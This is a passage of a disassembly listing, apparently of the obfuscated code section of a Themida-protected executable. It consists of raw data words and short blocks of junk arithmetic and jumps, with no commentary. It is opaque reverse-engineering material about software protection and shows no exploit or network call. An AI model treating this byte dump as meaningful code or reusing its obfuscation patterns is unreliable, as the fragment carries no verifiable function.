dd 81000000h, 4C6h, 24348700h, 4EC835Ch, 0E9241489h, 5A2Dh
dd 0FF9E49E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54C3C1: ; CODE XREF: Themida_:00551DD1j
mov ebx, 6ED8417Ah
push eax
mov eax, 54275BFh
neg eax
sub eax, 8BE547BBh
xor ebx, eax
pop eax
add edi, 0D723854h
sub edi, 6FF814BBh
add edi, 7E927F45h
sub edi, ebx
jmp loc_54F50B
; ---------------------------------------------------------------------------
loc_54C3EF: ; CODE XREF: Themida_:0054A51Dj
xor ebp, edi
jmp loc_54B115
; ---------------------------------------------------------------------------
aSg db ')ØéG[',0
dd 241C8900h, 0F53DB2BBh, 0FB57E975h, 0D1F7FFFFh, 0E1C1D1F7h
dd 65E98107h, 16FE947h, 240C8BC8h, 0E904C483h, 155Fh, 0E9241489h
dd 0FFFFAAB2h, 5B66DA30h, 1D67E9h, 241C8700h, 243C895Ch
dd 3A397BBFh, 4EC835Ch, 0BD242C89h, 5C3F72C2h, 515DE889h
dd 6CEBF57h, 0C14F1034h, 0EF8102EFh, 0F3E2C69Ch, 0E95FF989h
dd 0FFFFE4BFh, 0E9240C31h, 0FFFFF288h, 4C1835Ah, 5C240C87h
dd 0F87E9h, 3E7C100h, 604AE9h
db 0
; ---------------------------------------------------------------------------
loc_54C485: ; CODE XREF: Themida_:00548D73j
add esp, 4
sub esp, 4
mov [esp], esi
push esp
mov esi, [esp]
add esp, 4
jmp loc_549A19
; ---------------------------------------------------------------------------
db 29h, 0E8h, 2Dh
dd 72F27118h, 648B685Dh, 0C890000h, 2ECEE924h, 0E1C10000h
dd 0EFE98108h, 0E9AF16DFh, 59A6h, 67E9CA29h, 0FF000011h
dd 48B2434h, 37FAE924h, 0F2810000h, 150B7147h, 3E39E9h
db 0
; ---------------------------------------------------------------------------
loc_54C4DD: ; CODE XREF: Themida_:00547FDDj
sub dl, 9Ch
add cl, dl
mov edx, [esp]
add esp, 4
xor al, cl
jmp loc_549BC1
; ---------------------------------------------------------------------------
loc_54C4EF: ; CODE XREF: Themida_:0054870Dj
add esp, 4
shr ecx, 2
sub esp, 4
mov [esp], ebx
push dword ptr [esp]
pop eax
sub esp, 4
mov [esp], ebp
push edi
jmp loc_547983
; ---------------------------------------------------------------------------
db 8Bh, 4, 24h
dd 4C481h, 0C4830000h, 0BA6AE904h, 0EB81FFFFh, 21A06778h
dd 3355EB81h, 0EB8173D7h, 4B7029BEh, 0E9EE957h, 0EB810000h
dd 0D1D6D559h, 815BDA89h, 0AC5B19CAh, 0CEB95106h, 0F721F819h
dd 4CE981D1h, 812FDC1Ch, 347ED0C1h, 59CA217Ch, 0FFA67DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54C565: ; CODE XREF: Themida_:0054826Cj
push edi
push esp
mov edi, [esp]
add esp, 4
add edi, 4
jmp loc_54A623
; ---------------------------------------------------------------------------
aD0Fxsfs db '°„0ÇfXéfS',0
dw 6800h
dd 7F87h, 2DCCE9h
db 0
; ---------------------------------------------------------------------------
loc_54C58D: ; CODE XREF: Themida_:0054FFC4j
push ebx
jmp loc_54705F
; ---------------------------------------------------------------------------
db 29h
dd 0EE815AD6h, 2B8B5942h, 4EC81h, 34890000h, 6824h, 0E95E0000h
dd 0FFFFD086h, 89665B66h, 0DB0FE9CFh, 0E689FFFFh, 24CAE9h
dd 0FBBD5500h, 0C13E8E77h, 0EE902E5h, 57FFFFC8h, 2AD6E9h
dd 148B6600h, 0A487E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C5DE: ; CODE XREF: Themida_:0054E638j
add ebx, 26075293h
sub ebx, eax
sub ebx, 26075293h
add ebx, 67CC47ABh
push esi
mov esi, 30260C43h
xor esi, 41943C16h
shl esi, 2
push ecx
mov ecx, 45B226C2h
or esi, ecx
pop ecx
shl esi, 5
inc esi
xor esi, 0F28FEA22h
add ebx, esi
mov esi, [esp]
add esp, 4
pop small word ptr [eax]
jmp loc_5500D0
; ---------------------------------------------------------------------------
loc_54C624: ; CODE XREF: Themida_:0054EEBAj
push esp
pop ebx
add ebx, 4
sub esp, 4
mov [esp], edx
mov edx, 4
add ebx, 6F1513DDh
sub ebx, edx
push ecx
mov ecx, 6F1513DDh
sub ebx, ecx
pop ecx
pop edx
xor ebx, [esp]
xor [esp], ebx
jmp loc_54FA9F
; ---------------------------------------------------------------------------
loc_54C654: ; CODE XREF: Themida_:0054DE13j
mov esp, [esp]
sub al, 0B8h
add al, 0Fh
sub al, 0C6h
sub al, ch
add al, 0C6h
jmp loc_549BD7
; ---------------------------------------------------------------------------
dw 0C381h
dd 4, 4C381h, 1C870000h, 1C335C24h, 241C3124h, 3931E9h
db 0
; ---------------------------------------------------------------------------
loc_54C681: ; CODE XREF: Themida_:0054F22Fj
add esp, 4
jmp loc_54CF58
; ---------------------------------------------------------------------------
dd 5BACC581h, 0EF092A33h, 0FFF181E9h, 2434FFFFh, 0FFA9DCE9h
dd 99B252FFh, 0C047EA80h, 0CAFE07E2h, 80A7E280h, 0D1889FEAh
dd 5CA1E95Ah, 0D8280000h, 0FFA8B8E9h, 24048FFFh, 0FF9B41E9h
dd 4FF781FFh, 810F432Ch, 0B51F2CF7h, 5FF82958h, 9A6ADF2Dh
dd 52ACE97Fh, 1C870000h, 0EB815C24h, 4, 8B241C87h, 14892424h
dd 0C6BCE924h, 0EFC0FFFFh, 80CFFE02h, 0F8281DEFh, 4D8285Bh
dd 57B151FDh, 0FFAD7FE9h, 45F381FFh, 0E9042804h, 0FFFFD3B6h
dd 405E089h, 83000000h, 43304E8h, 24043124h, 0E9240433h
dd 20Ah
; ---------------------------------------------------------------------------
loc_54C734: ; CODE XREF: Themida_:0054FFD0j
add esp, 4
push small 4A3Fh
mov [esp], ax
push edx
mov dh, 0F4h
push ebx
mov bl, dh
mov al, bl
pop ebx
jmp loc_54A427
; ---------------------------------------------------------------------------
dd 2F1A0EBEh, 5E3AE9C6h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54C75A: ; CODE XREF: Themida_:00551FCBj
pop edx
xchg ebp, [esp]
pop esp
mov [esp], ebx
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push ebx
jmp loc_54AEB6
; ---------------------------------------------------------------------------
loc_54C771: ; CODE XREF: Themida_:00550C67j
add esp, 4
add ebp, 4
xor ebp, [esp]
jmp loc_55193D
; ---------------------------------------------------------------------------
loc_54C77F: ; CODE XREF: Themida_:0054ADF1j
sub ebx, eax
push esi
mov esi, 50267858h
not esi
jmp loc_548942
; ---------------------------------------------------------------------------
dw 0F581h
dd 9506818h, 0E983CD87h, 45CD87FFh, 0FFE0A0E9h, 0D7015AFFh
dd 230DC781h, 34FF1A62h, 0C4835A24h, 243C8704h, 124248Bh
dd 0E99C2404h, 280Dh, 240C8B66h, 0FFB306E9h, 4EC83FFh
dd 0B8240489h, 65F556A7h, 34FFC131h, 24048B24h, 4C481h
dd 98E90000h, 0B6FFFFBCh, 232CB0h, 0BD4E9F0h, 0C8B0000h
dd 4C48124h, 81000000h, 4C1h, 7CA6800h, 1C890000h, 2BB24h
dd 0D9290000h, 5BAAE9h, 0C9815800h, 622210F7h, 25E2BB53h
dd 0F381194Bh, 4BF6063Eh, 525BD901h, 0CF4812BAh, 8BD1319Bh
dd 0C4832414h, 583B2D04h, 0C8296F1Bh, 1B583B05h, 240C8B6Fh
dd 6804C483h, 0B20h, 3780E9h, 240C3300h, 0FFB4D9E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54C85D: ; CODE XREF: Themida_:0055122Cj
xor ecx, 69277E6Eh
add ecx, 5B0058C9h
jmp loc_5523E7
; ---------------------------------------------------------------------------
dw 0C681h
dd 4, 2F87BD55h, 0D5F7026Ah, 0F706E5C1h, 0EDEE9DDh, 68560000h
dd 552F1D9Bh, 0FFD079E9h, 48B66FFh, 82E95624h, 0F700005Ah
dd 0E99C241Ch, 0FFFF9966h, 5A66D028h, 704D828h, 0FFDDABE9h
dd 4C0166FFh, 0B8E90224h, 5B00004Eh, 5D786E2Dh, 698A050Dh
dd 0D0291AB3h, 0B3698A2Dh, 6EBD551Ah, 10D5D78h, 3CA0E9E8h
dd 0ED810000h, 163C1CBAh, 81D5F758h, 0BE3959CDh, 0E1C58155h
dd 504FBA4Eh, 5B146BB8h, 0E9C5215Fh, 0FFFFE75Bh
; ---------------------------------------------------------------------------
loc_54C8FC: ; CODE XREF: Themida_:00548A8Dj
xor edi, [esp]
xor [esp], edi
jmp loc_55236B
; ---------------------------------------------------------------------------
loc_54C907: ; CODE XREF: Themida_:005487F1j
pop esi
jmp loc_551F6E
; ---------------------------------------------------------------------------
loc_54C90D: ; CODE XREF: Themida_:0054E24Cj
sub esi, ecx
mov ecx, [esp]
add esp, 4
push esi
jmp loc_54FEF2
; ---------------------------------------------------------------------------
dw 0C589h
dd 8324048Bh, 0D5F704C4h, 0D104EDC1h, 0A3C581EDh, 55FA8FBBh
dd 84CD4BDh, 14BE93Dh, 895C0000h, 5E542434h, 2D33E953h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54C94A: ; CODE XREF: Themida_:00548209j
mov esi, edx
pop edx
push ecx
jmp loc_548EC5
; ---------------------------------------------------------------------------
db 0FFh
a4Sea db '4$éeA',0
dw 6400h
dd 0A7E9028Fh
db 98h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C963: ; CODE XREF: Themida_:005517B9j
add esp, 4
jmp loc_54ECC0
; ---------------------------------------------------------------------------
dw 0FB01h
dd 4C3815Fh, 87000000h, 8F5C241Ch, 248B2404h, 0C8856624h
dd 9880E99Ch, 8957FFFFh, 0B09DE9E7h, 0E2C0FFFFh, 0DECA8006h
dd 0C053F280h, 0F28006E2h, 51F28021h, 83D8EA80h, 896602ECh
dd 82E92414h
db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C9B3: ; CODE XREF: Themida_:0054D109j
jnz loc_5493AB
push ebp
push edx
mov edx, 7A7777B9h
inc edx
xor edx, 1D3C2189h
mov ebp, edx
pop edx
sub esp, 4
mov [esp], esi
push 40831422h
mov esi, [esp]
add esp, 4
push ecx
mov ecx, 0FFFFFFFFh
add esi, ecx
mov ecx, [esp]
add esp, 4
jmp loc_549385
; ---------------------------------------------------------------------------
dd 0FF9811E9h, 240C33FFh, 24048F5Ch, 0E924248Bh, 3E8Ch
dd 36D1C381h, 4DE96DB9h
db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54CA13: ; CODE XREF: Themida_:0054748Bj
mov ecx, eax
jmp loc_547AC9
; ---------------------------------------------------------------------------
dw 0FA01h
dd 0FFCBD9E9h, 0E9DE30FFh, 4C1Dh, 8359CA01h, 148704EAh
dd 0C895C24h, 91E95724h, 8300001Eh, 98E904C3h
db 0Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54CA43: ; CODE XREF: Themida_:0054D6FBj
push edx
mov dl, 2Ch
xor dl, 0D4h
inc dl
jmp loc_54CAB1
; ---------------------------------------------------------------------------
dd 2D5BD801h, 4, 0E9240487h, 0FFFFD4B0h, 0E9028F66h, 0FFFF97A2h
dd 0B60F665Ah, 52686600h, 4896614h, 9790E924h, 0EB81FFFFh
dd 4, 5C241C87h, 1DB9E9h, 7CE58100h, 8132354Ah, 0D34B6BEDh
dd 2E5C14Ah, 5B6E9h, 4C38100h, 0E9000000h, 10EBh, 0D8001604h
dd 0FFB259E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54CAB1: ; CODE XREF: Themida_:0054CA4Bj
or dl, 0A5h
xor dl, 4Ch
xor ch, dl
pop edx
or dl, ch
pop ecx
jmp loc_54AB4B
; ---------------------------------------------------------------------------
aXsq7 db 'XéQ7',0
align 4
loc_54CAC8: ; CODE XREF: Themida_:00547B8Fj
push ebp
jmp loc_548640
; ---------------------------------------------------------------------------
dw 7168h
dd 0E900005Ch, 2A80h, 4EC81h, 34890000h, 0E0E95324h, 50FFFFDAh
dd 0FFBC94E9h, 5AD789FFh, 114EE981h, 0E981147Ah, 15BE38DDh
dd 0C181F901h, 15BE38DDh, 114EBD55h, 0E901147Ah, 0D7F7E95Dh
dd 8B58FFFFh, 240C8B01h, 4C481h, 56520000h, 1BEh, 148B5600h
dd 5947E924h, 0FABD0000h, 0E960EB52h, 16DBh, 2434FF54h
dd 0E1895159h, 4BA52h, 0D1010000h, 39E9h, 0EA805800h, 8BD030D2h
dd 0C4832414h, 0E9C33004h, 2F94h, 0BD242C89h, 4, 2C8BEA01h
dd 4C48324h, 4C281h, 14870000h, 0C3315C24h, 692768h, 0ACFAE900h
dd 505AFFFFh, 0FFEA6AE9h, 0F9F381FFh, 8155AB49h, 0EA02CC3h
dd 5BDF8993h, 9EE9F801h
db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54CBA3: ; CODE XREF: Themida_:00548664j
; Themida_:loc_54DD0Dj ...
push dword ptr [esp]
push dword ptr [esp]
jmp loc_54AF1E
; ---------------------------------------------------------------------------
loc_54CBAE: ; CODE XREF: Themida_:00551238j
mov ecx, 4
sub edi, ecx
jmp loc_54AC87
; ---------------------------------------------------------------------------
dw 0D42Dh
dd 0E9081B2Fh, 35FBh, 27F4EB81h, 0FB0160FCh, 3CCCE9h, 2434FF00h
dd 8B2434FFh, 8956240Ch, 4C681E6h, 81000000h, 4C6h, 24348700h
dd 0FFECE6E9h, 4BAFFh, 0EF810000h, 249145C5h, 0BB53D701h
dd 46707192h, 0FFA4ECE9h, 58C209FFh, 29C968h, 24048900h
dd 0FFD2A9E9h, 36E956FFh, 8100001Bh, 4C4h, 95E0E900h, 0F66FFFFh
dd 0D6E900B6h, 8FFFFFD0h, 895C2404h, 12E92414h
db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54CC3F: ; CODE XREF: Themida_:0054BA40j
shl esi, 1
shr esi, 6
add esi, 303B3D9Fh
jmp loc_54CDF1
; ---------------------------------------------------------------------------
db 2Dh
dd 402A710Fh, 207EEF81h, 0A4E91450h, 83FFFFAFh, 67E9FFEAh
db 2, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54CC67: ; CODE XREF: Themida_:00547972j
pop edx
and eax, ebp
mov ebp, [esp]
add esp, 4
shr eax, 18h
xor eax, ecx
push eax
push 5515h
mov [esp], ebp
jmp loc_54B217
; ---------------------------------------------------------------------------
aS2 db 'ÑêéÇ2',0
dd 38B85000h, 0BE20F705h, 0DF08FAC8h, 8958C601h, 348B3872h
dd 0DFE95624h
db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54CCA7: ; CODE XREF: Themida_:00547CB2j
push dword ptr [esp]
pop ebx
push esi
mov esi, esp
jmp loc_550C8B
; ---------------------------------------------------------------------------
loc_54CCB3: ; CODE XREF: Themida_:0054ACC4j
shl edx, 1
sub esp, 4
mov [esp], eax
jmp loc_54819B
; ---------------------------------------------------------------------------
dd 5BF98859h, 0BA52h, 0EA810000h, 6507785h, 0C281DA01h
dd 6507785h, 7DE90A88h
db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54CCDF: ; CODE XREF: Themida_:005528A7j
push edi
not dword ptr [esp]
jmp loc_549DE6
; ---------------------------------------------------------------------------
dd 0E9243C31h, 0C25h
; ---------------------------------------------------------------------------
loc_54CCF0: ; CODE XREF: Themida_:005517D4j
mov ch, bl
pop ebx
mov ah, ch
pop ecx
sub bl, ah
pop ax
sub esp, 2
mov [esp], dx
push eax
mov ah, 52h
jmp loc_54B0DE
; ---------------------------------------------------------------------------
dd 24048B66h, 6EB268h, 240C8900h, 0FFFE1BE9h, 0E0CB80FFh
dd 2C12EB80h, 0E9D8282Ch, 0FFFFD9CCh, 31240C33h, 0C33240Ch
dd 24248B24h, 0FF2434FFh, 815A2434h, 4C4h, 5E545600h, 0FFC08AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54CD4D: ; CODE XREF: Themida_:0054F643j
or ebp, edi
pop edi
and ebp, 59FE6530h
xor ebp, 48984434h
push edx
mov edx, ebp
mov eax, edx
pop edx
pop ebp
add eax, edi
add [eax], ebp
push dword ptr [esp]
pop eax
jmp loc_54E03E
; ---------------------------------------------------------------------------
dd 9C240409h, 0FF9491E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54CD79: ; CODE XREF: Themida_:0054ABBFj
push ebp
push dword ptr [esp+4]
pop ebp
jmp loc_548A3F
; ---------------------------------------------------------------------------
dd 0C8BCD31h, 4C48124h, 81000000h, 2B4E4EC5h, 238A2DFCh
dd 0E8290C7Fh, 7F238A05h, 0C3815D0Ch, 60F4564h, 0C7EEB81h
dd 0BA52594Ch, 56726B4Ah, 815AD329h, 0A6347BC3h, 9BC38178h
dd 1456B33h, 9BEB81C3h, 51456B33h, 963422B9h, 1ACEE975h
dd 81B90000h, 0E93FD441h, 51F0h, 37DFBE56h, 0F2317CB1h
dd 4EC835Eh, 0FFBD9EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54CDF1: ; CODE XREF: Themida_:0054CC4Aj
xor esi, 55D791E4h
xor edx, esi
pop esi
push 312Dh
mov [esp], esi
mov esi, 25541A37h
sub esi, 0C029EBBCh
add edx, esi
pop esi
sub esp, 4
mov [esp], eax
mov eax, 31C06BF8h
shr eax, 8
xor eax, 54324165h
shl eax, 3
neg eax
shr eax, 7
add eax, 6E0C62C4h
xor edx, eax
pop eax
push edx
jmp loc_551C07
; ---------------------------------------------------------------------------
dd 69BFBD55h, 0EE215D61h, 5052555Dh, 7A59C568h, 24048B05h
dd 4C481h, 0CA0D0000h, 0D39C443h, 51721E5Dh, 0AB7C0935h
dd 58C28960h, 4202E2C1h, 3BD8F281h, 30E94ECEh, 66FFFFB9h
dd 68240C8Bh, 3A74h, 367CE9h, 24348700h, 0FF24248Bh, 34FF2434h
dd 2434FF24h, 0FD6859h, 2C890000h, 81E58924h, 4C5h, 4C58300h
dd 0FFC35CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54CEAD: ; CODE XREF: Themida_:005487C6j
shr ecx, 6
push 3493h
mov [esp], edx
mov edx, ebx
push edx
push 4479h
mov [esp], edi
push ebp
mov ebp, 3DA11B93h
jmp loc_5515B0
; ---------------------------------------------------------------------------
dw 0E2C1h
dd 2EEA8106h, 31566332h, 2434FFD0h, 8124148Bh, 4C4h, 0E3895300h
dd 4C381h, 93680000h, 8900005Eh, 8BE92404h, 81000021h
dd 0BF039AC3h, 51536629h, 0F669B450h, 0E8C480DCh, 2687E953h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54CF12: ; CODE XREF: Themida_:00550009j
add esp, 4
pop dword ptr [esp]
pop esp
or eax, eax
jnz loc_54E699
push edi
mov edi, 4991617Bh
push ebx
mov ebx, 76080DBCh
sub ebx, 76080DBDh
sub edi, ebx
pop ebx
sub esp, 4
mov [esp], ecx
mov ecx, 72D95F22h
neg ecx
or ecx, 172D4391h
not ecx
inc ecx
push ebp
jmp loc_54E593
; ---------------------------------------------------------------------------
loc_54CF52: ; CODE XREF: Themida_:0054BA1Aj
push ebp
jmp loc_5497B9
; ---------------------------------------------------------------------------
loc_54CF58: ; CODE XREF: Themida_:0054C687j
pop ecx
sub al, bh
pop bx
jmp loc_54DACF
; ---------------------------------------------------------------------------
dw 835Ah
dd 0C8704C1h, 0C4815C24h, 4, 0FF9295E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54CF75: ; CODE XREF: Themida_:00550A82j
pop edi
push ebp
jmp loc_54864A
; ---------------------------------------------------------------------------
dd 0E924048Fh, 310Bh, 4240481h, 59000000h, 5B05BF57h, 0F7815914h
dd 670D6B81h, 3080F781h, 0F9013E19h, 0FFB269E9h, 240C89FFh
dd 60433CB9h, 32E95335h, 83000028h, 148904ECh, 8095B224h
dd 0F2804DF2h, 0A917E96Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54CFC6: ; CODE XREF: Themida_:00550ED4j
add esp, 4
push esi
push ecx
push 26352735h
pop ecx
push ecx
jmp loc_54A448
; ---------------------------------------------------------------------------
db 68h
dd 5EF03334h, 0FFA33DE9h, 24148BFFh, 6804C483h, 7CA8h
dd 0FF243C89h, 5F042474h, 8B24048Fh, 0F7662424h, 0EC8151F9h
dd 4, 81242489h, 42404h, 0DFE90000h
db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D013: ; CODE XREF: Themida_:005527AEj
sub ecx, 2
xchg ecx, [esp]
jmp loc_548AA6
; ---------------------------------------------------------------------------
dd offset loc_420F68
dw 0E900h
dd 0FFFFC4A6h, 0E4E4E95Ah, 0E789FFFFh, 4C781h, 0C7830000h
dd 41A2E904h, 0C890000h, 2474FF24h, 48F5904h, 89665C24h
dd 0A9E92404h, 81000034h, 0C3CB2AEDh, 3E45E98Dh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54D05E: ; CODE XREF: Themida_:0054EC3Cj
mov [esp], ebx
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_55017E
; ---------------------------------------------------------------------------
loc_54D06D: ; CODE XREF: Themida_:0054B8F0j
add esp, 4
inc dword ptr [esp]
pushf
jmp loc_54620A
; ---------------------------------------------------------------------------
db 5Ah, 0F7h, 0D7h
dd 8108EFC1h, 83E5EFC7h, 5FFA017Dh, 57095B5Dh, 77E95A1Ch
dd 8BFFFF91h, 6FE92424h, 8BFFFF91h, 94682424h, 89000076h
dd 0F268240Ch, 89000044h, 0E9532404h, 420Ah, 5E2434FFh
dd 0E9E28952h, 35A3h, 0F8E9C701h
db 3Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54D0C7: ; CODE XREF: Themida_:0054D9ACj
sub edx, esi
pop esi
and eax, edx
mov edx, [esp]
add esp, 4
jmp loc_54EAAB
; ---------------------------------------------------------------------------
db 0C1h
dd 0C28105E2h, 31C7A27Ah, 15AD731h, 243C8BF8h, 6804C483h
dd 5003h, 0FF9FABE9h, 0B6E957FFh
db 40h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54D0FB: ; CODE XREF: Themida_:0054E98Cj
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
or eax, eax
jmp loc_54C9B3
; ---------------------------------------------------------------------------
loc_54D10E: ; CODE XREF: Themida_:005489EDj
mov [esp], ebx
push esp
pop ebx
push edi
mov edi, 6AAD6D3Ah
not edi
jmp loc_54AB3F
; ---------------------------------------------------------------------------
dd offset dword_445750+9218h
dd 24148900h, 42474FFh, 6824148Bh, 5CCBh, 54243489h, 4C6815Eh
dd 83000000h, 348704C6h, 0C5E95C24h, 5000020h, 4, 4EC81h
dd 3C890000h, 2BF24h, 0F8010000h, 3283E95Fh, 0BBE0000h
dd 291E7C2Ch, 99D1E9F0h, 2C89FFFFh, 922EE924h, 0F380FFFFh
dd 4E104D6h, 2CD8288Eh, 0FFE12C8Eh, 0E95B2434h, 0FFFFACC4h
dd 4240483h, 1ABF575Bh, 8127BF63h, 0E22B36CFh, 4EC8375h
dd 0BE243489h, 0FFFFFFFFh, 64E9F729h, 0FFFFFFD5h, 53582434h
dd 0E2E9E389h, 58000026h, 405h, 4C08300h, 31240433h, 67E92404h
dd 1FFFFF0h, 0C58359CDh, 242C8702h, 6624248Bh, 0E924048Bh
dd 0CF4h, 81240401h, 2DCC2404h, 466853D2h, 89000050h, 0BE56241Ch
dd 550D1CFDh, 0E95EF389h, 0FFFFA6B2h, 56240489h, 291E7668h
dd 0C6815E53h, 0ACD6E18Bh, 201EE9h, 59CF2900h, 2570E957h
dd 0C4810000h, 4, 8904EC83h, 0E0892404h, 405h, 1DBB5300h
dd 0E96D372Bh, 0FFFFE753h, 4EC81h, 53E90000h
db 4Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54D24F: ; CODE XREF: Themida_:0054BCEFj
; Themida_:0054F82Fj
push ebx
push ebx
mov ebx, 5ED9410Bh
xor [esp+4], ebx
pop ebx
push dword ptr [esp]
mov eax, [esp]
sub esp, 4
jmp loc_54F90B
; ---------------------------------------------------------------------------
loc_54D26C: ; CODE XREF: Themida_:0054B0E1j
sub bl, dh
pop dx
xor al, bl
mov bx, [esp]
add esp, 2
push 5C0h
jmp loc_54EB8B
; ---------------------------------------------------------------------------
dw 0BB53h
dd 7407C89h, 0FFD7A0E9h, 2434FFFFh, 4C4815Fh, 56000000h
dd 7356851h, 815952D2h, 0D20731F1h, 59CE8952h, 815EF701h
dd 4EFh, 243C8700h, 3EA5E95Ch, 0FB010000h, 0EE59E95Fh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D2C6: ; CODE XREF: Themida_:0054BDE7j
mov edi, 4
add ebp, edi
mov edi, [esp]
add esp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
shr ecx, 7
push 1058h
mov [esp], ebp
push eax
push ebx
pop eax
mov ebp, eax
jmp loc_5489B6
; ---------------------------------------------------------------------------
dw 0C800h
dd offset dword_5497CC+1Dh
dd 0E9516600h, 0FFFFB47Bh, 5A2434FFh, 0B6768h, 243C8900h
dd 0B968E789h, 89000009h, 31BD242Ch, 0E96A3E76h, 4B0Dh
dd 5255525Ah, 242DD868h, 0E2815A5Fh, 28EE43B0h, 874EEA81h
dd 0D589A2C8h, 0E538BA5Ah, 1DE90D57h
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_54D343: ; CODE XREF: Themida_:0054921Dj
add eax, 4
xor eax, [esp]
jmp loc_54A674
; ---------------------------------------------------------------------------
dw 0C280h
dd 0E9D03010h, 1A2Bh, 0E9505153h, 48E4h, 66E9EA01h, 81000040h
dd 0F5C257C3h, 0E9D83100h, 0FFFFB09Fh, 6F76BD55h, 454D7A8Fh
dd 6C4CC581h, 0ED814D63h, 4C077F9Ah, 0F797FD87h, 0FD8797D0h
dd 0A3D3ED81h, 0EF018414h, 2C7815Dh, 57000000h, 42474FFh
dd 24048F5Fh, 8424248Bh, 71E99CC8h, 1000045h, 20E8E9CFh
dd 0F590000h, 48FC0B6h, 8E44E987h, 2304FFFFh, 0EC815A66h
dd 4, 0E9240C89h, 0FFFF940Ah, 513BFABFh, 6EFC10Ch, 6973CF81h
dd 0EF816BCBh, 60B71197h, 0FFFECDE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54D3F1: ; CODE XREF: Themida_:0054B444j
push ecx
push edx
mov dl, 0AAh
mov cl, dl
pop edx
jmp loc_5521E8
; ---------------------------------------------------------------------------
loc_54D3FD: ; CODE XREF: Themida_:0054F896j
xchg bh, cl
jmp loc_54E1A2
; ---------------------------------------------------------------------------
dd 0F501D035h, 58C70175h, 3302C783h, 0D1E9243Ch, 81FFFFF8h
dd 4C4h, 74FF5700h, 5FE90424h
db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D427: ; CODE XREF: Themida_:00548645j
sub ebp, 2C404172h
shr ebp, 5
push edi
mov edi, 56731731h
xor edi, 72D600E2h
dec edi
jmp loc_549D2B
; ---------------------------------------------------------------------------
dw 6856h
dd 15E09E1Ah, 0E9F1315Eh, 31A5h
; ---------------------------------------------------------------------------
loc_54D450: ; CODE XREF: Themida_:005527FDj
pop esp
mov [esp], eax
jmp loc_551BE8
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
aYsb db 'Yé/',0
align 2
dw 0D828h
dd 1C29E9h
db 0
; ---------------------------------------------------------------------------
loc_54D469: ; CODE XREF: Themida_:0054C1C8j
pop ebp
add ebp, 4
add ebp, 4
jmp loc_547397
; ---------------------------------------------------------------------------
loc_54D478: ; CODE XREF: Themida_:0054AD1Fj
pop esp
jmp loc_5486A1
; ---------------------------------------------------------------------------
dw 8141h
dd 491B06F1h, 38F18120h, 1C9B5C6h, 0E95259CBh, 0FFFFA823h
dd 0B186E953h, 0C481FFFFh, 4, 0E404C828h, 2D0BE9h, 3564BA00h
dd 0D00156F5h, 4C35405Ah, 0E96D9526h, 0FFFFB949h
; ---------------------------------------------------------------------------
loc_54D4BC: ; CODE XREF: Themida_:0054808Ej
pop dword ptr [esp]
mov esp, [esp]
jmp loc_548454
; ---------------------------------------------------------------------------
loc_54D4C7: ; CODE XREF: Themida_:0054FEF9j
mov ebp, [esp]
add esp, 4
add ebp, 9E9477Bh
jmp loc_54903F
; ---------------------------------------------------------------------------
db 87h
dd 0E95C241Ch, 0FFFFFE83h, 7DA1C381h, 0C15A00DFh, 0C38107E3h
dd 6A0C728Ah, 0E903E3C1h, 4CCAh, 6624248Bh, 0E99CC83Bh
dd 0FFFF8D02h, 8B2434FFh, 0C4812414h, 4, 815A5452h, 4ECh
dd 0F63EE900h, 0E8C1FFFFh, 3D960503h, 0C50173C1h, 5DE80158h
dd 0ED67582Dh, 58C601C8h, 4C681h, 34870000h, 0B70F5C24h
dd 0AB1BE9C8h, 0C181FFFFh, 78F86EA5h, 8CC18141h, 0C13C790Bh
dd 0F18102E1h, 0E1AAAF41h, 3492C981h, 0D1F730D5h, 0FFC18141h
dd 81FFFFFFh, 2985F9F1h, 59CA01F0h, 505AD301h, 0FFA68FE9h
dd 88FC88FFh, 0B914E9E6h, 8B66FFFFh, 2568240Ch, 89000044h
dd 58542404h, 0FFFBAEE9h, 240C8BFFh, 3068E9h
db 0
; ---------------------------------------------------------------------------
loc_54D5A5: ; CODE XREF: Themida_:00548F79j
shr esi, 5
sub esi, 22C0500Bh
push ebp
mov ebp, 6D01CC9h
or ebp, 134F39C5h
shr ebp, 1
neg ebp
neg ebp
dec ebp
xor ebp, 31768C1Ch
sub edx, ebp
pop ebp
jmp loc_54E429
; ---------------------------------------------------------------------------
db 8Bh
dd 0C483243Ch, 4C78104h, 0E9000000h, 0FFFF9854h, 89533104h
